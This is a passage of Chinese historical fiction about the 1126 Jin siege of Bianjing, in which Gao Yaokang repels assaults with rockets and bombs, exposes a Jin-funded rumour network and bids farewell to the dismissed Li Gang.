东边。有一段城墙,金兵上来了七八个。
他朝刘实喊:“东边!带人过去!”
刘实拖着那条还有点瘸的腿,带着一队人冲过去。跑起来一拐一拐的,但速度不慢。
金兵被堵住了。推下去了。但刘实肩膀上挨了一刀,血往外冒,跟喷泉似的。他不管,还在砍。
高尧康喊:“林娘子!”
城墙后头,有个穿青布衣裳的年轻女人跑出来。带着几个抬担架的民壮。跑到刘实跟前,把他按坐下,撕开衣裳,上药,包扎。手快得跟变戏法似的。
一炷香,包好了。刘实站起来,又冲回去了。一边跑一边甩胳膊,试试还灵不灵。
那女人是林素娥。太医院林御医的闺女。从小跟着她爹学医,会治伤,会接骨,会缝针。苏檀儿把她找来,让她带着几十个识字的民壮,教了半个月急救。现在她是这条城墙上的“救星”。谁受伤了都喊她。
高尧康看了她一眼。她正在给另一个伤兵包扎。手很稳。脸上全是汗,但手不抖。
他又转回去,看着城外。
金兵退了。
第一次进攻,打了一个时辰。城下头,躺了一地尸体。有的还在动,有的不动了。云梯烧成黑架子,还在冒烟。鹅车也烧成黑炭,里头的尸体焦糊糊的。
城墙上,活着的人在喘气。呼哧呼哧的,跟风箱似的。**的,抬到后头。重伤的,林素娥带着人在救。轻伤的,自己裹裹,接着站着。
高尧康站在城楼上,看着那些退下去的金兵。
退了二里。停下来。整顿。重新列队。
第七十四章 一定要坚持住
下一拨,很快就来。
午时。第二拨。
这回是弓箭手。
三千多人,列成阵,往城墙上射箭。箭像蝗虫一样飞过来,密密麻麻,遮天蔽日。太阳都被遮住了。
高尧康喊:“盾牌!”
城墙上的兵举起盾牌。盾牌举过头顶,连成一片,跟乌龟壳似的。
箭落在盾牌上,叮叮当当响成一片。跟下雹子似的。
有人没挡住。箭射中了肩膀,射中了胳膊,射中了腿。有人被射中脸,倒下去,没声了。
林素娥带着人,在箭雨里爬来爬去,把人拖到后头。有人被拖的时候还在叫,叫得撕心裂肺。
高尧康蹲在城垛后头,从缝里往外看。
金兵的弓箭手后头,有人在搬东西。
攻城塔。
比城墙还高的塔。木头做的,底下有轮子,上头有平台。推过来的时候,轮子在地上轧出两道深沟。平台上站着人,手里拿着刀,等着。
推到城墙边上,平台上的人就能直接跳上城墙。
他站起来。
“王彦!”
王彦跑过来。脸上全是汗,混着灰,一道一道的。
“看见那个没有?”
王彦看过去。脸白了。白得跟纸似的。
“那玩意儿……”
“让宇文虚把那一窝蜂搬上来。快点。”
王彦跑下去了。跑得鞋都快掉了。
一炷香后,宇文虚带着人,把那三十个木匣子搬上城墙。他自己抱着两个,跑得气喘吁吁的。
“射程够吗?”高尧康问。
宇文虚目测了一下距离。手搭在眼睛上,眯着眼看。
“差不多。得往高里打。”
“那就射。”
宇文虚点着了第一个匣子。
嗖嗖嗖嗖嗖——
二十支火箭飞出去。拖着白烟,往攻城塔那边飞。跟二十条白蛇似的。
没中。落在塔前头。箭插在地上,还在冒烟。
宇文虚骂了一句。调整了一下角度。又点着第二个。
嗖嗖嗖嗖嗖——
这回中了。
火箭扎在攻城塔上。**筒还在烧,嗤嗤响。烧了一会儿,轰的一声,塔上烧起来了。火苗蹿得老高。
金兵在底下喊。有人往上爬,想灭火。但火太大,爬不上去。爬上去的也被烧下来。
宇文虚点着第三个。第四个。第五个。
三十个匣子,六百支火箭,全飞出去。跟六百条火龙似的。
攻城塔烧着了。旁边的云梯也烧着了。金兵往后退,退得远远的。退的时候还在回头,看那些烧起来的东西。
高尧康看着那些烧起来的攻城塔。忽然想起土门关。
那时候,宇文虚造出第一窝蜂,试射的时候炸了三回。王彦说,这玩意儿能行吗?别把自己炸了。
现在能行了。
申时。第三拨。
这回不是步兵,不是弓箭手。
是骑兵。
重甲骑兵。
铁浮屠。
人和马都披着铁甲,在太阳底下闪着光,亮得晃眼。三千多骑,排成五排,往城门冲过来。马蹄声震天,轰隆轰隆的,跟打雷似的。
王彦的脸又白了。白得跟石灰似的。
“又是这玩意儿……”他咽了口唾沫。
高尧康盯着那些骑兵。眼睛眯起来。
“宇文虚。霹雳弹还有多少?”
“一千多个。”
“全搬上来。”
宇文虚跑下去了。跑得比刚才还快。
铁浮屠越来越近。二百丈。一百丈。五十丈。
高尧康喊:“扔!”
一千多个霹雳弹,从城墙上扔下去。跟下饺子似的。
轰轰轰轰轰。
地裂开了。
铁浮屠的前排,连人带马飞起来。铁片子在空中散开,跟天女散花似的。落下来的时候,砸在后排的人身上。哐当哐当,跟打铁似的。
马在叫。人在喊。铁片子哗啦啦响。
但后头的还在往前冲。
高尧康喊:“**队!”
一千支火铳,从城墙垛口伸出去。黑洞洞的,跟一千个眼睛似的。
“放!”
轰轰轰轰轰。
白烟腾起来,遮住了半边天。呛得人直咳嗽。
铁浮屠又倒了一片。
但还有没倒的。还在往前冲。
冲到城门口了。
城门是堵死的。用石头和土填**。他们冲不进去。
但他们在城门口停下来。下马。往城门洞里堆东西。
**。
高尧康看见了。他们堆的是**。一包一包的,堆得老高。
“他们要炸城门!”
他喊:“火油!往下浇!”
猛火油柜的管子伸出去。火油浇下去,浇在那堆**上。油哗哗地流。
火把扔下去。
轰——
比刚才更大的声音。耳朵都震聋了。
城门洞被炸开了。但炸的是外头那层。里头的石头还在。石头垒得严严实实的。
金兵被自己的**炸飞了一片。胳膊腿乱飞。活着的往后退,退得比兔子还快。
高尧康站在城墙上,看着那些退下去的铁浮屠。
他忽然发现一件事。
那些铁浮屠手里,有**。
不是金人的**。是宋军的**。神臂**。
他看见一个倒在地上的金兵,手里还握着那张**。**机上的花纹,他认识。是真定军器监造的。是他让人造的。
他想起宇文虚说过的话。
“金人抢了图纸,但不会用。”
现在他们会用了。
那天晚上,金兵退了。
城墙上,活着的人在喘气。**的,抬到后头。重伤的,林素娥还在救。她已经一天没吃东西了,手还在动,一个接一个地包扎。旁边的人递水给她,她也不喝。
高尧康站在城楼上,看着城外。
金兵的营寨里,灯火通明。他们在收尸。也在准备。
下一拨,明天还会来。
杨蓁走上来。站在他旁边。她脸上全是血,身上的衣裳被刀砍破了几个口子。但人没事。眼睛还亮着。
“今天杀了多少?”她问。
高尧康说:“没数。”
“我杀了七个。”她说。语气平平的,跟说今天吃了几个馒头似的。
高尧康看着她。
“累不累?”
她想了想。歪着头想了想。
“累。但还能杀。”
高尧康没说话。只是伸手,把她肩膀上一块不知道是谁的血,擦了擦。那血已经干了,擦不掉。
她愣了一下。然后笑了。
笑得很轻。但眼睛弯了。弯成两道月牙。
李纲是夜里来的。
他从城墙上走了一圈,看了那些伤兵,看了那些堆在墙角的霹雳弹壳子,看了那些烧成黑架子的云梯。看了林
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素娥怎么救人,看了民壮怎么抬担架。
然后他走到酸枣门城楼下,看着高尧康。
“今天,你这儿打退了他们三次?”
高尧康说:“三次。”
李纲点点头。
他看着城外那些灯火。看了很久。灯火一闪一闪的。
然后转过来,看着高尧康。
“我今天去了别的城墙。有的地方,差点破了。有的地方,死的人比你这儿多一倍。有的地方,官跑了。”
他顿了顿。
“你这儿,三千人,守住了。**多少?”
高尧康说:“一百二十七。”
李纲愣住了。
“一百二十七?”
“嗯。”
“他们攻了三拨。有铁浮屠。有攻城塔。你**不到二百人?”
高尧康说:“林娘子的急救站,救回来很多人。以前重伤必死的,现在能活一半。还有,那些新兵,练了一个月,知道怎么打。”
李纲沉默了一会儿。
然后他伸出手,在高尧康肩膀上拍了拍。拍得有点重。
“好。”他说,“好。”
他走了。
高尧康站在那儿。看着他的背影消失在夜色里。
杨蓁从旁边走过来。
“李纲说什么?”
高尧康说:“他说好。”
杨蓁笑了一下。
“那确实好。”
她站在他旁边,一起看着城外。
金兵的营寨里,灯火还是那么亮。
但他们知道,明天还能打。
子时。高尧康在城楼里看东西。
王彦推门进来。手里拿着个东西。
“你看这个。”
高尧康接过来。
是把**。神臂**。从城下捡回来的。上头的血还没擦干净。
他翻过来看**机上的花纹。是真定军器监的。是他让人造的。那个花纹他认得,是宇文虚设计的,防伪的。
但**臂上刻着几个字。女真字。弯弯扭扭的,跟蝌蚪似的。
王彦说:“他们在仿制。抢了咱们的,照着做。”
高尧康没说话。他把**翻过来,看弓弦。
是牛筋的。但不是辽东的牛筋。是这边的。颜色不一样,韧度也不一样。
他又看箭。箭杆上也有字。女真字。
他把**放下。
“还有别的吗?”
王彦从怀里掏出个布包。打开。
里头是**。黑乎乎的一小撮。
“从城门口捡的。他们炸城门用的。装**的袋子烧没了,**洒了一地。”
高尧康看着那撮**。
闻了闻。捏了捏。放到舌尖舔了舔。
跟他们用的,差不多。配方一样。
他把**放下。
“他们学得很快。”
王彦看着他。
“那怎么办?”
高尧康站起来。走到窗边。外头黑漆漆的。什么也看不见。
“学得快,就比他们学得更快。”
他转过来。
“明天让宇文虚过来。我要跟他说话。连夜赶工,造新的。”
王彦点点头。出去了。
高尧康站在那儿。看着桌上那把**,那撮**。
窗外,远处传来一声马嘶。长长的。
然后是更多的马嘶。
金兵的营寨里,在准备明天的进攻。
他站了一会儿。然后走回去,坐下。
继续看地图。
第七十五章 阴谋滋长
四月十五。金兵退了。
退得突然。头一天还在攻城,轰轰烈烈地打了一整天,第二天早上,营寨空了。
高尧康站在城墙上,看着北边。金兵的帐篷还在,东倒西歪地戳在那儿,但没人了。火堆还在冒烟,一缕一缕的,但没火了。那些攻城器械,烧剩的架子,歪七扭八地立着,跟一堆骨头架子似的。
王彦在旁边,眯着眼睛看了半天。手搭在眉骨上,跟个猴子似的。
“真退了?”
高尧康说:“真退了。”
“为什么?昨天还打得那么凶,今天说跑就跑?”
高尧康没说话。他也在想这个问题。
后来知道了。
粮草没了。死的人太多了。完颜宗望蹲在营帐里算了一笔账,再攻下去,**更多,粮草更不够,就算打进汴京,也守不住。得不偿失。
他退了。退回河北。休整。等秋天。等粮草备齐,等人马养足,等下一次。
城里的反应,是先静后动。
静的那一会儿,是所有人都不敢信。金兵真退了?打了七天,**那么多人,城墙上到处都是豁口,血把护城河都染红了,说退就退了?
然后动了。
满城欢呼。
街上有人敲锣打鼓,哐哐哐,跟过年似的。有人放鞭炮,噼里啪啦响成一片,硝烟呛得人直咳嗽。有人把家里的存酒搬出来,当街分着喝,喝得满脸通红,抱着不认识的人喊兄弟。有人抱在一起哭,哭得鼻涕眼泪一脸。有人跪在地上,朝着城墙磕头,磕得额头都青了。
李纲的名字,传遍了汴京。
“李枢密!”“李大人!”“李青天!”“多亏了李大人啊!”
高尧康站在城墙上,听着那些喊声。声音从城里传上来,嗡嗡的,跟一群蜜蜂似的。
杨蓁在他旁边。她看着城里那些欢呼的人,忽然说:
“他们喊的是李纲。”
高尧康说:“嗯。”
“没人喊你。”
高尧康说:“不用喊我。”
杨蓁看着他。那眼神有点奇怪。
“你不在乎?”
高尧康说:“我在乎的是,下次金兵来的时候,这些人还能不能这么喊。”
杨蓁愣了一下。
然后她不说话了。只是站在他旁边,一起看着城里那些欢呼的人。
四月底。谣言开始传了。
先是说李纲专权。说他借着守城的名义,把兵权都抓在自己手里,连皇上要调兵都得经过他。说他不把官家放在眼里,上朝的时候说话比官家还大声。说他早晚要出事,这种人留不得。
然后是高尧康。
“那个高尧康,不就是高俅的儿子吗?高俅什么人?踢球上位的,一个泼皮!他儿子能有什么本事?”
“听说在真定的时候,杀良冒功,把老百姓的脑袋砍了当金兵报功。”
“听说在京城,跟商人勾结,发国难财。粮草卖得比市价高五倍,从中抽成。”
“听说他养私兵,三万人只听他的,不听朝廷的。这是要**啊。”
杨蓁把这话学给高尧康听的时候,气得脸上都红了。那道疤更显眼了。
“我去找那几个传话的,把舌头给他们割了!看他们还敢不敢放屁!”
高尧康说:“不用。”
杨蓁瞪着他。眼睛瞪得跟铜铃似的。
“不用?你听听他们说的什么?杀良冒功?发国难财?**?你听听这是人话吗?”
高尧康说:“割了舌头,还有嘴。杀了这几个,还有下一拨。你能把全城人的舌头都割了?”
杨蓁看着他。
“那怎么办?就让他们这么传?”
高尧康说:“找出来。谁让传的。”
五月初三。夜。城南一处宅子。
苏檀儿带着高尧康,站在巷子口。巷子里黑漆漆的,只有远处一盏灯笼晃悠。
“就是这家。”她说,声音压得很低,“姓周。叫周富。做皮货生意的。表面上是个正经商人,实际上——”
她从袖子里掏出张纸。纸折得方方正正,递过来。
“登莱那边传回来的消息。这个人,三年前去过辽东。跟金人做过买卖。去年又去了一趟。回来之后,手头忽然宽裕了,买了宅子,纳了小妾,还跟朝里几个官员走得近。走得特别近,半夜都有人从后门进去。”
高尧康看着那张纸。上头写得密密麻麻的。
“散播谣言的那些人,跟他有来往?”
苏檀儿说:“有。那几个无赖,每天在他家后门领钱。领了钱,就去茶楼酒肆里传话。传一遍给一次钱,传得越多给得越多。”
高尧康把纸折起来。揣进怀里。
“进去看看。”
王彦带着人,翻墙进去。动作轻得跟猫似的,一点声音都没有。
一炷香后,门开了。
王彦站在门口,朝他招手。月光底下,他脸上带着笑,笑得跟捡了宝似的。
高尧康进去的时候,周富跪在地上。抖得像筛糠。身上的肉一颤一颤的,跟果冻似的。
旁边桌上,摆着几封信。还有一叠银票。银票厚厚一摞,少说几千贯。
高尧康拿起信,看。
金文。弯弯扭扭的,跟蝌蚪似的。他不认识。但旁边有翻译。是联号的人提前译好的,字迹工整,贴在旁边。
信里写的是:金军这次攻城,损失很大。但你传的那些话,很有用。宋人已经开始互相猜忌了。继续。钱会陆续送到。务必让他们自己乱起来。
底下署名是一个金国贵族。名字翻译过来,叫完颜希尹。
高尧康把信放下。看着周富。
周富头磕在地上,咚咚响。跟敲鼓似的。
“大人饶命!大人饶命!小人一时糊涂!小人再也不敢了!小人上有老下有小,求大人饶命!”
高尧康没理他。拿起那叠银票,看了看。
都是大宋的官银票。能在大宋的票号里兑出真金白银。盖着红印,写着数额。
他把银票放下。
“王彦。”
“在。”
“把这些,连人带信,送到李纲府上。连夜送。”
周富瘫在地上了。整个人软成一摊泥。
王彦把人拎起来。拖出去。那胖子一路哼哼唧唧的,跟杀猪似的。
苏檀儿站在旁边,看着那些信。拿起来翻了翻。
“这玩意儿,能扳倒多少人?”
高尧康说:“扳不倒多少人。但能让有些人闭嘴几天。”
苏檀儿点点
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头。
“那也值了。几千贯钱,换几天清净。”
五月初八。李纲府上。
李纲把那几封信看了三遍。一遍比一遍慢。然后放下。看着高尧康。
“这个完颜希尹,是金国的元帅左监军。完颜宗望的心腹。这人专门管情报的,金人在咱们这边安插的人,都归他管。”
高尧康说:“我知道。”
李纲沉默了一会儿。手指在桌上敲了敲。
“这些东西,送到官家面前,能证明金人在用间。能证明那些谣言是假的,是金人花钱让人传的。”
他看着高尧康。
“但证明不了别的。”
高尧康说:“不用证明别的。只要让官家知道,有人在替金人说话,就够了。那些天天喊着议和的,天天说金人不会再来的,让他们自己想想,他们的话跟金人的钱有没有关系。”
李纲点点头。
“对。够了。”
他站起来。在屋里走了两步。停住。袍子角甩了一下。
“你知道现在朝里什么情况吗?”
高尧康说:“耿南仲那帮人,天天在官家耳边吹风。说李纲要**,说新军要兵变,说商人要操纵市面。”
李纲苦笑了一下。笑得比哭还难看。
“何止吹风。他们说我李纲专权,说你高尧康幸进,说新军是私兵,说联号是奸商。说得多了,官家就开始信了。一开始只是听,后来就开始点头,现在已经开始问了——‘李纲是不是真的专权?高尧康是不是真的养私兵?’”
他看着高尧康。
“太上皇在镇江。听说要回京。蔡京、童贯那帮人,跟着他。官家怕什么?怕太上皇回来,把他这个皇位再抢回去。那可是他亲爹,说抢就能抢。”
高尧康没说话。
李纲说:“所以他现在,谁都不敢全信。信的,只有那些说‘和’的人。因为和,就不用打仗。不用打仗,就不用靠武将。不用靠武将,就不用担心武将**。多简单,多省心。”
他又苦笑了一下。
“可笑吧?金兵刚退,城墙上那些豁口还没补好,护城河里那些**还没捞完,他们就开始琢磨怎么对付自己人了。比打金兵还上心。”
高尧康说:“不可笑。是常态。”
李纲看着他。
“你好像一点都不意外?”
高尧康说:“我在真定的时候就知道了。土门关打完,沈晦跑了。我带着一万多人撤下来,路上收拢溃兵,那些当官的一个都没看见。到了汴京,门口还在唱‘议和大吉’。”
他顿了顿。
“从那时候起,我就知道,这仗,不光是在城外打。”
李纲沉默了一会儿。
然后他走回来,坐下。看着高尧康。那眼神里有点东西,说不清是欣赏还是心疼。
“你爹那边,怎么样?”
高尧康说:“闭门不出。称病。谁都不见。连我去了都从后门进。”
李纲点点头。
“聪明。你爹这辈子,别的不行,保命第一。”
他顿了顿。
“你也得小心。那些人盯完我,就该盯你了。你是高俅的儿子,又是新军的头儿,还跟商人搅在一起。三样,够他们做一篇文章了。”
第七十六章 天子心思
五月初十。高府。
高尧康从后门进去。穿过夹道,绕过假山,走进后院。这条路他走了二十多年,闭着眼都不会走错。
高俅坐在廊下。晒着太阳。面前放着一壶茶,一个空杯子。太阳暖洋洋的,照在他身上,把他那身家常袍子晒得发白。
看见儿子,他抬了抬眼皮。就那么抬了抬,没动地方。
“来了?”
高尧康坐下。自己倒了一杯茶。喝了一口。茶凉了,但还能喝。
高俅看着他。那眼神,跟X光似的。
“外头那些话,听说了?”
“嗯。”
“打算怎么办?”
高尧康说:“不怎么办。”
高俅愣了一下。然后笑了。笑得脸上那些褶子都挤一块儿了。
“对。不怎么办。这时候,动就是错。不动,他们就拿你没办法。你一动,就落人口实。你不动,他们反而得琢磨你肚子里憋什么坏水。”
他端起茶,喝了一口。放下。茶碗磕在桌上,轻轻一声。
“蔡京被贬了。去儋州。八十多岁的人了,这一路,两千多里,翻山越岭的,够他受的。能不能活着到,都两说。”
高尧康没说话。
高俅又说:“童贯也贬了。说是要流放。但流放之前,得先押解回京。回京干什么?清算。这些年干的那些事,一件一件算。”
他看着儿子。
“你那个朋友,童师闵,有消息吗?”
高尧康说:“他交了东西。把童贯在京城的人,全卖了。谁收了钱,谁办了事,谁替童贯跑过腿,全写得清清楚楚。官家没动他。现在闭门不出,在家读书。”
高俅点点头。
“聪明。比他爹聪明。他爹这辈子就输在看不清楚什么时候该收手。”
他又端起茶。没喝。只是看着杯子里那片茶叶。茶叶浮浮沉沉的。
“我这一辈子,跟着太上皇混了二十年。看着蔡京上去,看着童贯上去,看着他们一个接一个上去,又看着他们一个接一个下来。跟看戏似的。”
他抬起头,看着儿子。
“你知道我现在想什么吗?”
高尧康说:“想什么?”
高俅说:“我想,幸亏有你在真定那些事。不然现在,我跟他们一样,也是秋后的蚂蚱。蹦跶不了几天了。”
他看着儿子。眼神里有点东西。说不清是什么。可能是欣慰,可能是庆幸,也可能只是老了。
“你走的那条路,我看不懂。什么练兵啊,什么守城啊,什么跟百姓说话啊,我都不懂。但走得对。”
高尧康没说话。
父子俩坐着。太阳慢慢往西移。影子越拉越长。
五月中旬。城墙上。
金兵退了半个月。城墙上的缺口补好了。死的人埋了。伤的人还在养。有的能站起来,有的永远站不起来了。
高尧康每天还是会来城墙上走一圈。看看这儿,看看那儿。看看箭垛有没有松动,看看女墙有没有裂缝,看看守城的兵有没有偷懒。
那天傍晚,他走到酸枣门那段,忽然有人喊他。
“高都指!”
他回头。是个年轻兵。脸熟,但叫不上名字。应该是新军里的,跟着练过一个月。
那兵跑过来。跑得急,到跟前还喘。
“杨娘子让我来找您。她在后头箭楼那儿。”
高尧康点点头。往后走。
箭楼在城墙拐角的地方。不大。平时放箭用的。木头搭的,四面透风。
他走进去,看见杨蓁坐在一堆草席上。面前放着一盆水,几块布。水还冒着热气。
她抬头看他。
“过来。”
他走过去。坐下。
她把他的衣裳掀开。露出背。
背上有一道伤。不长,但有点深。是前几天守城的时候,被流箭划的。当时顾不上,裹了裹就算完。后来结痂了,她非要看看。
她拿布蘸了水,轻轻擦。水有点热,擦在背上,暖洋洋的。
水有点凉。高尧康的肩膀动了一下。
“疼?”
“不疼。”
她没信。擦得更轻了。动作慢得跟怕碰坏什么东西似的。
擦干净了。上药。包扎。她的手在他背上摸来摸去,确定每一处都包好了。
包好了。她把他的衣裳拉下来。
他没动。她也没动。
两个人就那么坐着。箭楼里很静。静得能听见外头的风声。外头有风。吹得旗子啪啪响,一下一下的。
她忽然把头靠在他肩上。
“那天打仗的时候,”她说,“我一直在想一件事。”
高尧康没说话。
她说:“我想,要是城破了,我就从城墙上跳下去。”
他侧过头,看着她。
她没抬头。脸埋在他肩膀上。声音闷闷的,跟从很远的地方传来似的。
“不是怕被金兵抓住。是怕……没有你的日子。”
高尧康伸手,把她揽过来。
她靠在他怀里。还是没抬头。整个人缩成一团,跟只猫似的。
他说:“不会破。”
她没说话。
他说:“我们要一起,看到新天。”
她抬起头。看着他。
眼睛里有点亮。不知道是泪,还是别的。也许是夕阳照的。
“新天是什么?”
高尧康想了想。想了很久。
“新天就是,不用再打仗了。”
她愣了一下。然后笑了。笑得眼睛弯弯的。
“那得等多久?”
高尧康说:“不知道。但总会来。”
她又把头靠回去。靠在他肩上。这回靠得比刚才踏实。
外头的风停了。旗子不响了。
很静。
五月二十。夜。
高尧康从大营出来,骑马回城。走到城门附近,忽然勒住马。
城门口,有几个人。骑着马。穿着便装。灰扑扑的,看着跟普通百姓似的。但腰里别着腰牌。月光底下,那腰牌闪了一下。那是宫里的腰牌。错不了。
他们从城外进来。路过城门,没停,直接往城里走。马蹄声嘚嘚嘚的,一会儿就远了。
高尧康看着那些人走过去。数了数,五个人。
等他们走远了,他下马。走到城门口,问守门的军士:
“刚才那些人,什么时候出去的?”
军士认出是他,赶紧站直了。腿并得紧紧的。
“回高都指,昨儿晚上出去的。半夜。今儿晚上才回来。出去的时候也是这身
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打扮。”
高尧康点点头。
他又问:“知道去干嘛的吗?”
军士摇摇头。脑袋摇得跟拨浪鼓似的。
“这……这小的不知道。他们有腰牌,宫里的人,不敢问。问了也不说。”
高尧康没再问。他上马,往城里走。
走了一段,他忽然停住。马也停了,打了个响鼻。
昨晚上出去。今晚上回来。一天一夜。
这个方向,是往北。出城往北,走一天一夜,能到哪儿?
北边是哪儿?是金兵的营寨。是他们退了以后扎在河北的营寨。
他把**在那儿。想了很久。
然后继续走。马蹄声在夜里很响。
五月二十二。李纲府上。
高尧康把那晚上的事说了。说了那几个人的打扮,说了腰牌,说了时间,说了方向。
李纲沉默了很久。屋里只有灯芯噼啪响。
然后他开口。声音有点哑。跟砂纸磨过似的。
“那不是第一次。”
高尧康看着他。
李纲说:“这半个月,至少有三拨人,从城里出去。都带着官家的密信。密信上写的什么,我不知道。但从那些人回来的表情看,谈得还不错。”
他看着高尧康。
“他们在议和。”
高尧康没说话。
李纲站起来。走到窗前。外头黑漆漆的。什么也看不见。
“你知道议和的条件是什么吗?”
高尧康说:“割地。赔款。送人质。”
李纲点点头。脖子动得很慢。
他转过来,看着高尧康。
“咱们刚打退他们。**那么多人。城墙上那些血还没洗干净,护城河里那些尸体还没捞完。现在要割地赔款。那些死的人,白**?”
高尧康没说话。
李纲走回来。坐下。看着他。那眼神,跟要把他看穿似的。
“你信不信,官家会答应?”
高尧康说:“信。”
李纲愣了一下。
“你信?”
高尧康说:“因为不答应,就得继续用咱们。用咱们,他就睡不着觉。咱们手里有兵,有民壮,有商人,有联号。咱们能打仗,能守城,能让百姓跟着走。这些东西,比金兵还让他睡不着。”
李纲看着他。看了很久。眼珠子一动不动。
然后他忽然笑了。
笑得很苦。嘴角扯着,跟要裂开似的。
“你说得对。”他说,“咱们太能打了。能打到让他睡不着觉。”
他站起来。
“行了。你回去吧。”
高尧康站起来。往外走。
走到门口,忽然听见身后说:
“高尧康。”
他回头。
李纲站在那儿。灯火底下,那张脸很累。眼袋耷拉着,皱纹更深了。但眼睛还亮着。
“你那些兵,好好带着。粮草、器械、训练,一样别落下。万一哪天……”
他没说下去。
高尧康点点头。
门开了。又关上。
他走在夜里的街上。
两边没灯。黑漆漆的。只有远处偶尔有狗叫。
他走得很慢。靴子踩在地上,一下一下的。
远处有狗叫。一声接一声。叫了很久。
第七十七章 李纲罢相
汴京。阴天。天灰蒙蒙的,跟要哭似的。
李纲站在宣德门外,看着那块匾。
宣德门。他走了二十多年。进来,出去。出去,进来。每一次走,都觉得这门又旧了一点,匾又暗了一点。今天这一趟,是最后一次。
身后传来脚步声。很轻。
他没回头。
“李公。”
李纲转过来。
高尧康站在他身后。穿着便装,灰扑扑的袍子,一个人。没带兵,没带刀,就那么站着。
李纲看着他。
“你怎么来了?”
高尧康说:“来送你。”
李纲笑了一下。那笑容很短。嘴角扯了扯就没了。
“送什么?又不是赴死。外放。河东、河北宣抚使。好歹还是官。有俸禄,有兵权,有地盘。”
高尧康没说话。
李纲看着他。看了很久。那眼神,跟要把他的脸刻在脑子里似的。
“你知道吗,”他说,声音很轻,“昨天夜里,官家召我进宫。”
高尧康等着下文。
李纲说:“他跟我说,李纲,不是朕要罢你。是金人要罢你。议和的条件里,有一条——罢免主战之臣。你排第一。”
他看着高尧康。
“你知道我怎么回的吗?”
高尧康摇摇头。
李纲说:“我说,臣知道了。臣这就走。”
他又笑了一下。这回笑得有点苦,跟嚼了黄连似的。
“就这。没求。没哭。没喊冤。没跪下抱着他腿说臣冤枉。就四个字——臣知道了。”
高尧康看着他。
李纲的脸上,没有悲,没有怒,没有怨。只有一种说不清的……空。像被掏空了似的。
“李公,”高尧康说,“百姓在城外等你。”
李纲愣了一下。
“百姓?”
“嗯。自发去的。很多人。一大早就在那儿等着。”
李纲沉默了一会儿。
然后他点点头。
“走吧。”
城外。十里长亭。
人山人海。
不是夸张。是真的山,真的海。黑压压一片,从城门口一直排到长亭外,一眼望不到头。有穿长衫的读书人,有短打的工匠,有提篮子的妇人,有拄拐杖的老头,有被抱在怀里的孩子。还有人骑着驴来的,驴拴在树上,一排排的。
没人喊口号。没人举旗子。就那么站着。看着城门口。眼珠子都不转。
李纲走出来的时候,人群动了。
不是往前涌。是跪下去。
一片接一片。一排接一排。像浪一样,从城门口往外推。哗啦啦的,衣裳摩擦的声音跟潮水似的。
李纲站住了。
他看着那些人。看着那些跪在地上的人。看着那些抬起来的脸。有的在哭,眼泪哗哗的。有的在喊,喊不出声。有的张着嘴,说不出话,嘴唇直哆嗦。
他往前走了一步。
人群里有人喊:“李青天——”
然后是一片喊声:“李青天——李青天——李青天——”
喊声震天。把树上的鸟都惊飞了。扑棱棱飞起来一片,在天上打转。
李纲站在那儿。一动不动。
高尧康站在他身后。看见他的肩膀在抖。
很轻。但确实在抖。一下一下的。
远处,忽然传来整齐的脚步声。咚。咚。咚。
李纲抬头看。
一队兵,从城里开出来。穿着甲,扛着旗,排着队,走得齐整。五百多人。后头还跟着一群穿便装的——有瘸的,有缺胳膊的,有脸上带疤的。那些疤在太阳底下亮得刺眼。
是真定带回来的那些老兵。还有新军里跟着高尧康打过仗的。
他们走到李纲面前。停住。齐刷刷站定。
领头的,是王彦。
他穿着甲,戴着盔,腰里别着刀。脸上那道疤,在太阳底下红得发亮。他脸上没表情,但那眼睛,红着。
他抬起手。
五百多人,齐刷刷举起手。动作齐得跟一个人似的。
行军礼。
李纲愣住了。
他看着那些人。看着那些脸上带着疤、眼里带着泪、手上带着茧的人。看着那些从真定跟他一起守过城、从土门关一起撤下来、从金兵刀下活过来的人。一个一个是熟人。
王彦开口。声音大得能传到城里去。嗓子都劈了。
“李公——走好——”
五百多人齐声喊:“李公——走好——”
喊声落下,王彦的眼眶红了。红得跟兔子似的。
他往前走了一步。站到李纲面前。离得很近。
“李公,”他说,声音发颤,跟要哭似的,“我王彦,是个粗人。不会说话。我就想问一句——”
他顿了顿。喉结动了动。
“这朝廷,还有救吗?”
李纲看着他。
看了很久。
然后他伸出手,在王彦肩膀上拍了拍。拍得很重。
“有。”他说,“你们在,就有。”
王彦的眼泪下来了。
他没擦。就让那泪淌着。淌进那道疤里,淌进嘴里,咸的。淌到下巴上,滴在地上。
刘实让人扶着,从后头走过来。他腿还没好利索,走一步,停一步。走一步,喘一下。旁边的人扶着他,他还是走得一瘸一拐的。
走到李纲面前,他推开扶他的人,扑通一声,跪下去。膝盖磕在地上,听着都疼
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。
“李公——”
他喊了一声,就喊不出来了。嗓子眼里堵着东西,后头的话全咽回去了。
李纲弯腰,把他扶起来。扶得很小心。
“刘实,你是好样的。土门关那一仗,你断了腿,还在指挥。我记着。一辈子记着。”
刘实哭得说不出话。只是点头。脑袋点得跟鸡啄米似的。
杨蓁从人群里走出来。她穿着男装,青灰色的袍子,头发束起来。走到李纲面前,没跪,只是抱拳。抱得很用力。
“李公,保重。”
李纲看着她。
“杨娘子,你腿上的伤,好了?”
杨蓁说:“好了。”
李纲点点头。
“好。好。”他顿了顿,“高尧康那小子,交给你了。看好他。别让他太拼。”
杨蓁愣了一下。然后点点头。
“嗯。”
就一个字。
李纲转过来,看着高尧康。
高尧康站在那儿。一直没说话。
李纲走到他面前。两个人面对面。离得很近。
“我走了,”李纲说,“你怎么办?”
高尧康说:“守城。”
李纲看着他。
“守城?谁来守?”
高尧康说:“我。还有那三万人。”
李纲沉默了一会儿。
然后他从袖子里掏出一张纸。递给高尧康。纸折得方方正正。
高尧康接过来。看。
是个人名。张叔夜。南道总管。底下写着驻地和官职。还有一行小字:此人可信。
李纲说:“张叔夜,是我的人。不是我的门生,是志同道合的人。他在南边,手里有兵。危急时刻,可以找他。他会帮你。”
他又从怀里掏出一封信。信封上写着字,墨迹很新。
“这封,是写给种师道的。种师道你知道。他在西边,手里有西军。我信里说了你的事,说了土门关,说了汴京守城。危急时刻,他也会出手。他这人,最敬重能打的。”
他把信递给高尧康。
高尧康接过来。收好。揣进怀里最贴身的地方。
李纲看着他。那眼神,跟看自己儿子似的。
“守城之要,不在墙高池深,而在人心不散。”
他顿了顿。
“我走之后,汴京的主战派,就剩你们这些了。那些读书的,那些喊口号的,那些写诗的,都会闭嘴。但你们不能闭。你当为汴京,留下一颗不灭的火种。”
高尧康说:“我知道。”
李纲点点头。
他转过身,看着那些跪着的人。看着那些举着手的兵。看着远处那座城。那座他守过的城,他爱过的城,他再也回不来的城。
